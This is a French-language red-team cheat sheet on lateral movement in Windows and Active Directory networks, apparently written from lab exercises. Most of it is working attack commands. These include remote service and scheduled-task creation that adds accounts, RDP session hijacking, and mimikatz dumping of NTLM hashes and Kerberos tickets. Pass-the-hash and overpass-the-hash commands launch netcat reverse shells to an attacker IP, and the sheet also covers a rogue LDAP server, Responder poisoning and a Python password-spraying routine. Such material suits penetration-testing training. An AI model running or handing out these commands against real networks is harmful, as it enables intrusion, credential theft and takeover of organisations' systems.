REDTEAM – Mouvement Latéral

Les mouvements latéraux des techniques utilisées par les attaquants pour se déplacer dans un réseau. Une fois un accès initial obtenu sur une machine d’un réseau, il peut être intéressant de se déplacer pour plusieurs raisons : atteindre des ressources protégés, augmenter ses privilèges, contourner les restrictions réseau, établir d’autres points d’entrée ou encore créer la confusion et éviter la détection.

Protocoles d’administration

La méthode la plus simple consiste à utiliser des protocoles administratifs standard tels que WinRM, RDP, VNC ou SSH pour se connecter à d’autres machines sur le réseau avec les identifiants obtenus lors le l’accès initial. Cette approche doit rester cohérente aux comportements des utilisateurs réguliers (où je me connecte ? avec quel compte ?). Par exemple, pourquoi l’utilisateur administrateur local se connecte-t-il à l’AD à partir d’un PC du service Marketing ?

UAC

UAC (User Account Control) impose des restrictions sur la connexion en réseau pour les comptes administrateurs locaux (à l’exception du compte Administrateur par défaut). Par défaut, on ne pourra pas se connecter à distance en mode non interactif à un compte administrateur local. Il faudra pour cela utiliser une session interactive (ex: RDP).

Les comptes de domaine disposant de privilèges d’administration locale ne seront pas soumis au même traitement.

Il se peut néanmoins que cette fonctionnalité soit désactivée. Il peut donc être interessant de tout de même éffectuer le test.

Lancer des processus à distance

Psexec

445/TCP (SMB) Groupe Administrators

Psexec permet à un utilisateur administrateur d’exécuter des commandes à distance sur n’importe quel PC auquel il a accès. Psexec fait parti des Sysinternals.

psexec64.exe \\<IP> -u Administrator -p <password> -i cmd.exe
WinRM

5985/TCP (WinRM HTTP) 5986/TCP (WinRM HTTPS) Groupe Remote Management Users

Windows Remote Management (WinRM) est un protocole web utilisé pour envoyer des commandes Powershell à des hôtes Windows à distance. Dans la plupart des installations de serveurs Windows, WinRM est activé par défaut, ce qui en fait un vecteur d’attaque intéressant.

RunAs
runas /user:<DOMAIN>\<username> "cmd.exe"
runas /netonly /user:<DOMAIN>\<username> "cmd.exe"
winrs.exe -u:Administrator -p:<password> -r:<IP/COMPUTER NAME> cmd 

/netonly : Comme nous ne sommes pas reliés à un domaine, nous voulons charger les identifiants pour l’authentification réseau, mais pas pour l’authentification auprès d’un contrôleur de domaine. Ainsi, les commandes exécutées localement sur l’ordinateur le seront dans le contexte de notre compte Windows standard, mais toutes les connexions réseau se feront à l’aide du compte spécifié. A noter que les identifiants ne seront pas vérifiées, la commande acceptera n’importe quel mot de passe.

Powershell script :

$username = 'Administrator';
$password = '<password>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername <IP/COMPUTER NAME> -Credential $credential

Créer des services à distance

135/TCP, 49152-65535/TCP (DCE/RPC) 445/TCP (RPC over SMB Named Pipes) 139/TCP (RPC over SMB Named Pipes) Groupe Administrators

Nous pouvons créer un service sur un hôte distant avec sc.exe, un outil standard de Windows. sc.exe essaiera de se connecter au Service Control Manager (SVCCTL) par l’intermédiaire de RPC de plusieurs façons.

Comme sc.exe ne nous permet pas de spécifier des informations d’identification dans le cadre de la commande, nous devons utiliser runas pour créer un nouveau shell avec le jeton d’accès d’un utilisateur :

runas /netonly /user:<DOMAIN>\<username> "cmd.exe"

Puisque vous utilisez runas avec l’option /netonly, il ne prendra pas la peine de vérifier si les informations d’identification fournies sont valides.

Créer le service :

Ici le service va créer l’utilisateur sangoku
sc.exe \\<IP/COMPUTER NAME> create <service name> binPath= "net user sangoku passw0rd /add" start= auto
sc.exe \\<IP/COMPUTER NAME> start <service name>

Si nous essayons d’exécuter un reverse shell en utilisant cette méthode, nous remarquerons que le shell se déconnecte immédiatement après l’exécution. La raison en est que les exécutables de service sont différents des fichiers .exe standard et que, par conséquent, les exécutables qui ne sont pas des services seront tués par le gestionnaire de services presque immédiatement. Heureusement pour nous, msfvenom supporte le format exe-service, qui encapsule n’importe quelle charge utile à l’intérieur d’un exécutable de service entièrement fonctionnel, l’empêchant ainsi d’être tué.

Supprimer le service :

sc.exe \\<IP/COMPUTER NAME> stop <service name>
sc.exe \\<IP/COMPUTER NAME> delete <service name>

Créer des tâches planifiées à distance

Créer la tâche :

schtasks /s <IP/COMPUTER NAME> /RU "SYSTEM" /create /tn "<task name>" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 
schtasks /s <IP/COMPUTER NAME> /run /TN "<task name>" 

Supprimer la tâche :

schtasks /S <IP/COMPUTER NAME> /TN "<task name>" /DELETE /F

Shares & Transfert de fichier

smbclient -c 'put freezer.exe' -U <username> -W ZA '//capsule.corp/admin$/' <password>

WMI

WMI permet aux administrateurs d’effectuer des tâches d’administration. De nombreuses techniques discutées précédemment peuvent être réalisées en utilisant WMI.

Connexion à WMI à partir de Powershell

Nous devons créer un objet PSCredential avec notre username et notre mot de passe. Cet objet sera stocké dans la variable $credential :

$username = 'MrRobot';
$password = 'I_h4te_white_rose';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Nous procédons ensuite à l’établissement d’une session WMI en utilisant l’un des protocoles :

  • DCOM : RPC over IP – 135/TCP et 49152-65535/TCP.
  • Wsman : WinRM – 5985/TCP (WinRM HTTP) ou 5986/TCP (WinRM HTTPS)
$Options = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName <COMPUTER NAME> -Credential $credential -SessionOption $Options -ErrorAction Stop
WMI | Création de processus à distance

135/TCP 49152-65535/TCP (DCERPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Groupe Administrators

WMI ne vous permettra pas de voir la sortie d’une commande, mais créera le processus requis en mode silencieux.

Powershell :

$Command = "calc.exe";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}

**Cmd : ** #Windows/Legacy

wmic.exe  /user:<domain>\<username>  /password:<password> /node:<COMPUTER NAME> process call create "calc.exe" 
WMI | Création de service à distance

135/TCP 49152-65535/TCP (DCERPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Groupe Administrators

Création du service :

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "<service name>";
DisplayName = "<service name>";
PathName = "<command>";
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

Démarrer le service :

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE '<service name>'"
Invoke-CimMethod -InputObject $Service -MethodName StartService

Arrêter le service :

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE '<service name>'"
Invoke-CimMethod -InputObject $Service -MethodName StopService

Supprimer le service :

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE '<service name>'"
Invoke-CimMethod -InputObject $Service -MethodName Delete
WMI | Création de tâche planifiée à distance

135/TCP 49152-65535/TCP (DCERPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Groupe Administrators

Création de la tâche :

# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user sasuke pass_konoha /add"
$TaskName = "<task name>"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName $TaskName
Start-ScheduledTask -CimSession $Session -TaskName $TaskName

Suppression de la tâche :

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
WMI | Installation de package MSI

135/TCP 49152-65535/TCP (DCERPC) 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS) Groupe Administrators

Powershell :

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\capsule-corp.msi"; Options = ""; AllUsers = $false}

Cmd : Windows/Legacy

wmic /node:<COMPUTER NAME> /user:<domain>\<username> product call install PackageLocation=c:\Windows\capsule-corp.msi

RDP hijacking

Windows Server 2016 Groupe Administrators

Lorsqu’un administrateur utilise Remote Desktop pour se connecter à une machine et qu’il ferme le client RDP au lieu de se déconnecter, sa session reste ouverte sur le serveur indéfiniment. Si vous disposez des privilèges SYSTEM sur Windows Server 2016 et antérieur, vous pouvez reprendre n’importe quelle session RDP existante sans avoir besoin d’un mot de passe.

xfreerdp /v:<FQDN/IP> /u:<username> /p:<password>

Si nous disposons d’un accès de niveau administrateur, nous pouvons obtenir les droits SYSTEM par la méthode de notre choix :

Terminal en mode administrateur
PsExec64.exe -s cmd.exe

Lister les sessions ouvertes :

Toute session avec un State = Disc a été laissée ouverte.
query user

On peut voir que l’utilisateur vegeta a laissé sa session d’ID 3 ouverte et que nous nous possédons la session rdp-tcp#8 :

USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
administrator         rdp-tcp#8          2   Active  .          4/1/2022 4:09 AM
vegeta                                   3   Disc    .          4/6/2022 6:51 AM

Se connecter à une session :

On demande à l’outil tscon.exe de connecter la session ouverte de vegeta à notre session RDP
tscon 3 /dest:rdp-tcp#8

Identifiants alternatifs

Un identifiant alternatif est une donnée pouvant être utilisée pour accéder à un compte Windows sans connaître le mot de passe de l’utilisateur lui-même. Cela est possible en raison du fonctionnement de certains protocoles d’authentification utilisés par Windows :

  • Authentification NTLM
  • Authentification Kerberos

NTLM

  • Le client envoie une demande d’authentification au serveur auquel il souhaite accéder.
  • Le serveur génère un nombre aléatoire et l’envoie comme défi au client.
  • Le client combine le hash de son mot de passe NTLM avec le défi (et d’autres données connues) pour générer une réponse au défi et la renvoie au serveur pour vérification.
  • Le serveur transmet le défi et la réponse au contrôleur de domaine pour vérification.
  • Le contrôleur de domaine utilise le défi pour recalculer la réponse et la compare à la réponse initiale envoyée par le client.
  • Si les deux correspondent, le client est authentifié ; dans le cas contraire, l’accès est refusé. Le résultat de l’authentification est renvoyé au serveur.
  • Le serveur transmet le résultat de l’authentification au client.
               Client               Server                       DC
                 |    Auth. request   |                          |
   [NTLM Hash]   |  --------------->  |                          |   [NTLM Hash]
                 |                    |                          |
                 |  NTLM [challenge]  |                          |
   [NTLM Hash]   |  <---------------  |                          |
 + [challenge]   |                    |                          |
 --------------  |                    |                          |
   [response]    |                    |                          |
                 |  NTLM [response]   |                          |
                 |  --------------->  |                          |
                 |                    |  [challenge][response]   |
                 |                    |  -------------------->   |   [NTLM Hash]
                 |                    |                          | + [challenge]
                 |                    |                          | --------------
                 |                    |                          |   [response] ?
                 |                    |     Allow\Deny auth.     |
                 |                    |  <--------------------   |
                 |  Allow\Deny auth.  |                          |
                 |  <---------------  |                          |

NTLM / Pass The Hash (PTH)

En extrayant les informations d’identification d’un hôte sur lequel nous avons obtenu des privilèges administratifs (en utilisant mimikatz ou des outils similaires), nous pouvons obtenir des mots de passe en texte clair ou des hashs qui peuvent être facilement craqués. Cependant, si nous ne sommes pas assez chanceux, nous nous retrouverons avec des hashs de mots de passe NTLM non craqués. On peut néanmoins utiliser ces hashs pour tenter de s’authentifier sur des services du réseau.

Pour extraire les hashes d’une machine plusieurs techniques existent dont l’usage de mimikatz soit pour lire la base SAM local ou pour extraire des hashs directement depuis la mémoire de LSASS (LSA).

Extraction depuis la base SAM :

mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # lsadump::sam   
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 145e02c50333951f71d13c245d352b50   

Extraction depuis la mémoire de LSASS :

Cette méthode vous permettra d’extraire les hachages NTLM des utilisateurs locaux et des utilisateurs du domaine qui se sont récemment connectés à la machine.
mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # sekurlsa::msv 
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session           : RemoteInteractive from 2 
User Name         : picolo
Domain            : NAMEK
Logon Server      : 0xSKY
Logon Time        : 2023/04/22 09:55:02
SID               : S-1-5-21-3330634377-1326264276-632209373-4605
        msv :
         [00000003] Primary
         * Username : picolo
         * Domain   : NAMEK
         * NTLM     : 6b4a57f67805a663c818106dc0648484

Utilisation du hash depuis Windows:

Nous pouvons ensuite utiliser ces hashs pour effectuer une attaque Pass The Hash en utilisant mimikatz pour injecter un jeton d’accès pour l’utilisateur victime dans reverse shell (ou toute autre commande de votre choix) :

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:picolo /domain:namek.dbz.corp /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe <IP> 6666"

L’exemple crée un reverse shell où nous pourrons lancer des commandes en tant que l’utilisateur picolo. Notez l’utilisation de token::revert pour rétablir les privilèges de notre jeton d’origine, car essayer un Pass The Hash avec un jeton élevé ne fonctionnera pas.

C’est l’équivalent d’un runas /netonly mais avec un hash au lieu d’un mot de passe. Si vous exécutez la commande whoami sur ce shell, vous verrez toujours l’utilisateur original que vous utilisiez avant de faire PTH, mais toute commande exécutée à partir de ce shell utilisera en fait les informations d’identification que nous avons injectées à l’aide de PTH.

Utilisation du hash depuis Linux :

Sur Linux, plusieurs outils ont un support intégré pour effectuer un PTH en utilisant différents protocoles. En fonction des services disponibles, effectuer les commandes suivantes :

RDP

xfreerdp /v:<IP> /u:<domain>\\<username> /pth:<NTLM HASH>

PsExec Seule la version Linux de PsExec supporte PTH

psexec.py -hashes <NTLM HASH> <domainn>/<username>@<IP>

WinRM

evil-winrm -i <IP> -u <username> -H <NTLM HASH>

Kerberos

L’utilisateur envoie son nom d’utilisateur et un horodatage chiffré à l’aide d’une clé dérivée de son mot de passe au Centre de distribution de clés (KDC), un service généralement installé sur le contrôleur de domaine chargé de créer les tickets Kerberos sur le réseau.

Le KDC crée et renvoie un Ticket Granting Ticket (TGT), qui permet à l’utilisateur de demander des tickets pour accéder à des services spécifiques sans transmettre ses informations d’identification aux services eux-mêmes. Avec le TGT, l’utilisateur reçoit une clé de session dont il aura besoin pour générer les demandes suivantes.

                           ///// Request TGT ///////

               Client                                      KDC
                 |                                         |
                 |             ** KRB_AS_REQ **            |    [(K0) KRBTGT Hash]
[(K1) User Hash] |               [Username]                |    [(K1) User Hash]
                 |            [K1::Timestamp]              |   
                 |  ------------------------------------>  | 
                 |                                         |    Check Hash               
                 |             **KRB_AS_REP**              |    
                 |              [K0::TGT(SK)]              |    
                 |         [K1::SK = Session Key]          |    
                 |  <------------------------------------  | 
[K0::TGT(SK)]    |                                         |
[SK]             |                                         |

Notez que le TGT est chiffré à l’aide du hash du mot de passe du compte krbtgt (K0), de sorte que l’utilisateur ne peut pas accéder à son contenu. Il est important de savoir que le TGT chiffré contient une copie de la clé de session (SK), et que le KDC n’a pas besoin de stocker la clé de session puisqu’il peut en récupérer une copie en déchiffrant le TGT si nécessaire.

Lorsque les utilisateurs souhaitent se connecter à un service du réseau, tel qu’un partage, un site web ou une base de données, ils utilisent leur TGT pour demander au KDC un Ticket Granting Service (TGS). Les TGS sont des tickets qui n’autorisent la connexion qu’au service spécifique pour lequel ils ont été créés. Pour demander un TGS, l’utilisateur envoie son nom d’utilisateur et un horodatage chiffré à l’aide de la clé de session, ainsi que le TGT et un nom de service principal (SPN), qui indique le service et le nom du serveur auxquels il souhaite accéder :

                           ///// Request TGS ///////

               Client                                      KDC
                 |                                         |
[(K1) User Hash] |            **Request TGS**              |    [(K0) KRBTGT Hash]
[K0::TGT(SK)]    |            [SPN = MSSQL/SRV]            |    [(K9) Service Owner Hash]
[SK]             |            [SK::Username]               |    
                 |            [SK::Timestamp]              |  
                 |            [K0::TGT(SK)]                | 
                 |  ------------------------------------>  | 
                 |                                         |    Decrypt  TGT : check Username / Timestamp / SPN                     
                 |              **Response**               |    
                 |             [K9::TGS(SSK)]              |    
                 |     [K1::SSK = Service Session Key]     |    
                 |  <------------------------------------  | 
[K9::TGS(SSK)]   |                                         |
[SSK]            |                                         |

En conséquence, le KDC nous enverra un TGS et une clé de session de service, dont nous aurons besoin pour nous authentifier auprès du service auquel nous voulons accéder. Le TGS est chiffré à l’aide du hash du propriétaire du service. Le propriétaire du service est l’utilisateur ou le compte de la machine sous lequel le service est exécuté. Le TGS contient une copie de la clé de session du service dans son contenu chiffré, de sorte que le propriétaire du service peut y accéder en décryptant le TGS :

                      ///// Use TGS ///////

               Client                         SRV
                 |                             |
[K9::TGS(SSK)]   |     **Auth. with TGS**      |    [(K9) Service Owner Hash]
[SSK]            |      [SSK::Username]        |    
                 |      [SSK::Timestamp]       |  
                 |      [K9::TGS(SSK)]         | 
                 | ------------------------->  | 
                 |                             |    Decrypt TGS : check Username / Timestamp  
                 |      **Grant  Access**      |    
                 | <-------------------------- |
                 |                             |

Kerberos / Pass The Ticket (PTT)

SYSTEM

Il est parfois possible d’extraire les tickets Kerberos et les clés de session de la mémoire LSASS à l’aide de mimikatz. Si nous n’avions accès qu’à un ticket (TGT ou TGS) mais pas à la clé de session (SK ou SSK) correspondante, nous ne pourrions pas utiliser ce ticket; les deux sont donc nécessaires. Le processus nécessite généralement les privilèges SYSTEM sur la machine :

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export 
mimikatz exit
> dir | findet "Administrator" | findstr "krbtgt"

Bien que mimikatz puisse extraire n’importe quel TGT ou TGS disponible dans la mémoire du processus LSASS, la plupart du temps, nous nous intéresserons aux TGT car ils peuvent être utilisés pour demander l’accès à n’importe quel service auquel l’utilisateur est autorisé à accéder. L’extraction des TGT nécessite des identifiants d’administrateur, et l’extraction des TGS peut se faire avec un compte à faible privilège (seulement ceux assignés à ce compte).

Une fois que nous avons extrait le ticket souhaité, nous pouvons injecter les tickets dans la session en cours avec la commande suivante :

mimikatz # kerberos::ptt [0;427fcd5][email protected]

L’injection de tickets dans notre propre session ne nécessite pas de privilèges d’administrateur. Après cela, les tickets seront disponibles pour tous les outils que nous utilisons pour le mouvement latéral. Pour vérifier si les tickets ont été correctement injectés, vous pouvez utiliser la commande klist :

NAMEK\picolo@PC1 C:\> klist

Current LogonId is 0:0x1e43562

Cached Tickets: (1)

#0>     Client: Administrator @ NAMEK.DBZ.COM 
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 4/12/2022 0:28:35 (local)
        End Time:   4/12/2022 10:28:35 (local)
        Renew Time: 4/23/2022 0:28:35 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: 0xSKY.namek.dbz.com  

Kerberos / Pass-the-Key (PTK) & Overpass-the-hash

Ce type d’attaque est similaire au PTH mais s’applique aux réseaux Kerberos.

Le protocole d’authentification Kerberos utilise des tickets pour accorder l’accès. Un ticket de service (ST) peut être obtenu en présentant un TGT (Ticket Granting Ticket). Ce TGT préalable peut être obtenu en validant une première étape appelée “pré-authentification” (sauf si cette exigence est explicitement supprimée pour certains comptes, ce qui les rend vulnérables à ASREProast.

La préauthentification exige que l’utilisateur demandeur fournisse sa clé secrète (DES, RC4, AES128 ou AES256) dérivée du mot de passe de l’utilisateur. Un attaquant connaissant cette clé secrète n’a pas besoin de connaître le mot de passe réel pour obtenir des tickets. C’est ce qu’on appelle le “pass-the-key”.

Kerberos propose 4 types de clés différents : DES, RC4, AES-128 et AES-256.

  • Lorsque le type RC4 est activé, la clé RC4 peut être utilisée. Le problème est que la clé RC4 est en fait le hachage NT de l’utilisateur. L’utilisation d’un hachage NT pour obtenir des tickets Kerberos est appelée overpass the hash (contourner le hachage).

  • Lorsque RC4 est désactivé, d’autres clés Kerberos (DES, AES-128, AES-256) peuvent également être utilisées. Cette technique est appelée “pass the key”. En fait, seuls le nom et la clé utilisés diffèrent entre overpass the hash et pass the key, la technique est la même

Nous pouvons obtenir les clés de chiffrement Kerberos à partir de la mémoire en utilisant mimikatz avec les commandes suivantes :

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys 

En fonction des clés disponibles, nous pouvons exécuter les commandes suivantes sur mimikatz pour obtenir un shell inversé :

RC4

mimikatz # sekurlsa::pth /user:Administrator /domain:namek.dbz.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe <IP> 6666"

AES128

mimikatz # sekurlsa::pth /user:Administrator /domain:namek.dbz.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe <IP> 6666" 

AES256

mimikatz # sekurlsa::pth /user:Administrator /domain:namek.dbz.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe <IP> 6666"

Kerberos / AS_REP Roasting

Lors d’une demande de TGT, l’utilisateur doit, par défaut, s’authentifier auprès du KDC. Il arrive que cette authentification préalable ne soit pas demandée pour certains comptes, permettant à un attaquant d’en abuser.

L’exploitation peut se faire via l’outil ASREPRoast ou Rubeus.

LDAP

L’authentification LDAP est similaire à l’authentification NTLM. Cependant, avec l’authentification LDAP, l’application vérifie directement les informations d’identification de l’utilisateur. L’application dispose d’une paire d’identifiants AD qu’elle peut utiliser d’abord pour interroger LDAP, puis pour vérifier les identifiants de l’utilisateur AD.

               Client               Server                       DC/LDAP
   [User::Creds] |                    | [Server::Creds]          |  [User::Creds]
                 |                    |                          |  [Server::Creds]

   Step 1 :: User send credentials and request _________________________________________

                 |    [User::Creds]   |                          |
                 |      [Request]     |                          |
                 | -----------------> |                          |
                 |                 [User::Creds]                 |
                 |                 [Request]                     |

   Step 2 :: Server authentificate itself ______________________________________________

                 |                    |     [Server::Creds]      |
                 |                    |  --- LDAP bind req --->  |  
                 |                    |                          |  Check credentials          
                 |                    |         Auth. OK         |
                 |                    |  <-- LDAP bind resp ---  |

   Step 3 :: Server check if the user exist ___________________________________________

                 |                    |         [User]           |
                 |                    |  ---- LDAP search ---->  |
                 |                    |                          | 
                 |                    |  <--LDAP search resp---  |
                 |                    |                          |
                                 User exist     
                
   Step 3 :: Server authentificate the user ____________________________________________

                 |                    |                          |
                 |                    |       [User::Creds]      |
                 |                    |  --- LDAP bind req --->  |  
                 |                    |                          |  Check credentials
                 |                    |         Auth. OK         |
                 |                    |  <-- LDAP bind resp ---  |

   Step 4 :: Server answer to the user request _________________________________________

                 |                    |                          |
                 |              Handle Request                   |
                 |                    |                          |
                 |      [Response]    |                          |
                 | <----------------- |                          |

L’authentification LDAP est un mécanisme très répandu dans les applications tierces (non Microsoft) qui s’intègrent à AD :

  • Gitlab
  • Jenkins
  • Applications web développées sur mesure
  • Imprimantes
  • VPN

Les identifiants LDAP des différents services sont généralement stockés en clair dans des fichiers de configuration.

LDAP Pass-Back / MITM

Il s’agit d’une attaque courante contre les périphériques de réseau, tels que les imprimantes. Il consiste tout simplement à remplacer le serveur LDAP légitime par un serveur LDAP contrôlé par l’attaquant. Les attaques LDAP Pass-back peuvent être réalisées lorsque l’on accède à la configuration d’un appareil où les paramètres LDAP sont spécifiés où soit lorsque l’on peut effectuer une attaque MITM pour se faire passer pour le serveur LDAP.

En modifiant la configuration LDAP ou en redirigeant le traffic vers notre machine, nous pouvons intercepter les tentatives d’authentification pour récupérer les informations d’identification LDAP.

Serveur LDAP malveillant (OpenLDAP)

Nous devrons rendre notre serveur LDAP vulnérable en réduisant les mécanismes d’authentification pris en charge. Notre serveur LDAP ne supportera que les méthodes d’authentification PLAIN et LOGIN :

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
sudo dpkg-reconfigure -p low slapd
# Initial conf db : NO
# DNS domain name : <target domain> (ex: capsule.corp)
# Organisation name : <target domain> 
# Administrator password : <any-password>
# Database to use : MDB 
# Database removed when slapd is purged : NO
# Move old database : YES

nano olcSaslSecProps.ldif
#dn: cn=config
#replace: olcSaslSecProps
#olcSaslSecProps: noanonymous,minssf=0,passcred

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart   # patch the server

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms # check configuration
#dn:
#supportedSASLMechanisms: PLAIN
#supportedSASLMechanisms: LOGIN

Capture des identifiants

Si vous avez configuré correctement votre serveur LDAP malveillant , vous recevrez l’erreur suivante : “This distinguished name contains invalid syntax”. Si vous recevez cette erreur, vous pouvez utiliser tcpdump pour capturer les informations d’identification à l’aide de la commande suivante :

sudo tcpdump -SX -i breachad tcp port 389

Relais Auth. NetNTLM

Capture LLMNR, NBT-NS, and WPAD

Nous utiliserons Responder pour tenter d’intercepter le challenge NetNTLM afin de le déchiffrer. Responder nous permet d’effectuer des attaques de type Man-in-the-Middle en trompant le client pour qu’il s’adresse à nous au lieu du véritable serveur. Responder tentera d’empoisonner toutes les requêtes Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS), and Web Proxy Auto-Discovery (WPAD). Ces protocoles permettent aux hôtes d’effectuer leur propre résolution DNS locale pour des hôtes du même réseau local.

Après avoir forcé le client à se connecter à notre machine, Responder va héberger plusieurs serveurs malveillants tels que SMB, HTTP, SQL, et autres pour capturer les requêtes et forcer l’authentification.

   
   Client  ---> X   [ Original SMB Server ]
     │
     ╰─────────────>[ Responder SMB Server  ]  
                    [ Responder HTTP Server ]
                    [ Responder SQL Server  ]    
 

Utiliser Responder :

sudo responder -I <interface>

/!\ Attention : Une chose à noter est que Responder essaie essentiellement de gagner la race condition avec le serveur original. Il est limité à l’empoisonnement sur le réseau local. Il est essentiel de comprendre que ce comportement peut être perturbateur car les tentatives normales d’authentification du réseau échoueront et empechera les utilisateurs d’accéder à leur service sur le réseau. Il est également nécessaire de laisser tourner responder plus de 10min pour avoir des résultats concluants.

Exemple de capture par Responder :

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : <Client IP>
[SMBv2] NTLMv2-SSP Username : LAB\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash     : <Service Account Username>::LAB:<NTLMv2-SSP Hash>

Relayer le challenge

   
   Client                                     ╭────> [ Original SMB Server ]          
     ╰───────>[ Responder SMB Server  ]───────╯
            
 

???

Password Spraying

Si on possède une liste d’utilisateurs mais pas de mot de passe on peut tenter une attaque Password Spraying. Il consiste à tester un mot de passe pour plusieurs utilisateurs.

Ci dessous un exemple pour l’authentification NTLM over HTTP utilisé par certains services exposés sur internet :

def password_spray(self, password, url):
    print ("[*] Starting passwords spray attack using the following password: " + password)
    #Reset valid credential counter
    count = 0
    #Iterate through all of the possible usernames
    for user in self.users:
        #Make a request to the website and attempt Windows Authentication
        response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
        #Read status code of response to determine if authentication was successful
        if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
            print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
            count += 1
            continue
        if (self.verbose):
            if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
                print ("[-] Failed login with Username: " + user)
    print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")

Outils de déploiement

Les grandes organisations ont besoin d’outils pour déployer et gérer l’infrastructure de leur parc informatique. Heureusement, Microsoft fournit déjà les outils nécessaires à la gestion du parc informatique.

MDT : Microsoft Deployment Toolkit (MDT) est un service Microsoft qui aide à automatiser le déploiement des systèmes d’exploitation Microsoft (OS). Il permet une meilleure gestion des images, car les images de base peuvent être maintenues et mises à jour dans un emplacement central. MDT est utilisé pour les nouveaux déploiements. Il permet essentiellement à l’équipe informatique de préconfigurer et de gérer les images de démarrage. Ainsi, s’ils doivent configurer une nouvelle machine, il leur suffit de brancher un câble réseau et tout se passe automatiquement.

SCCM : En général, MDT est intégré au System Center Configuration Manager (SCCM) de Microsoft, qui gère toutes les mises à jour pour l’ensemble des applications, services et systèmes d’exploitation Microsoft. Qu’advient-il du logiciel après son installation ? SCCM assure ce type de gestion de correctif. Il permet à l’équipe informatique d’examiner les mises à jour disponibles pour tous les logiciels installés dans l’entreprise. L’équipe peut également tester ces correctifs dans un environnement sandbox pour s’assurer qu’ils sont stables avant de les déployer de manière centralisée sur toutes les machines reliées à un domaine.

PXE Boot : Les grandes entreprises utilisent PXE Boot pour permettre aux nouveaux périphériques connectés au réseau de charger et d’installer le système d’exploitation directement via une connexion réseau. MDT peut être utilisé pour créer, gérer et héberger des images de démarrage PXE. Le démarrage PXE est généralement intégré à DHCP, ce qui signifie que si DHCP attribue un adresse IP, l’hôte est autorisé à demander l’image de démarrage PXE et à lancer le processus d’installation du système d’exploitation du réseau.Une fois le processus terminé, le client utilise une connexion TFTP pour télécharger l’image d’amorçage PXE. Nous pouvons exploiter l’image d’amorçage PXE à deux fins différentes : injecter un vecteur d’élévation de privilèges, tel qu’un compte d’administrateur local, pour obtenir un accès administratif sur l’OS ou récupérer les informations d’identification du compte du service de déploiement associé au service MDT lors de l’installation.

Récupération des identifiants AD

  • La première chose à trouver est l’IP du serveur MDT
  • La deuxième est de trouver le bon fichier de configuration .BCD (en général, c’est le protocole TFTP qui est utilisé pour énumérer les fichiers BCD).
tftp -i <MDT SERVER IP> GET "\Tmp\x64{39...28}.bcd" configuration.bcd
  • Utiliser powerpxe pour analyser le fichier (Powerpxe est un script PowerShell qui exécute automatiquement ce type d’attaque, mais les résultats sont généralement variables, il est donc préférable d’effectuer une approche manuelle).
  • Trouver la localisation de l’image WIM :
Import-Module .\PowerPXE.ps1
$BCDFile = "configuration.bcd"
Get-WimFile -bcdFile $BCDFile

>> Parse the BCD file: conf.bcd
>>>> Identify wim file : <PXE Boot Image Location>
<PXE Boot Image Location> 
  • Télécharger l’image PXE en .WIM (Ce téléchargement prendra un certain temps car vous téléchargez une image Windows entièrement amorçable et configurée) :
tftp -i <MDT SERVER IP> GET "<PXE Boot Image Location>" image_downloaded.wim
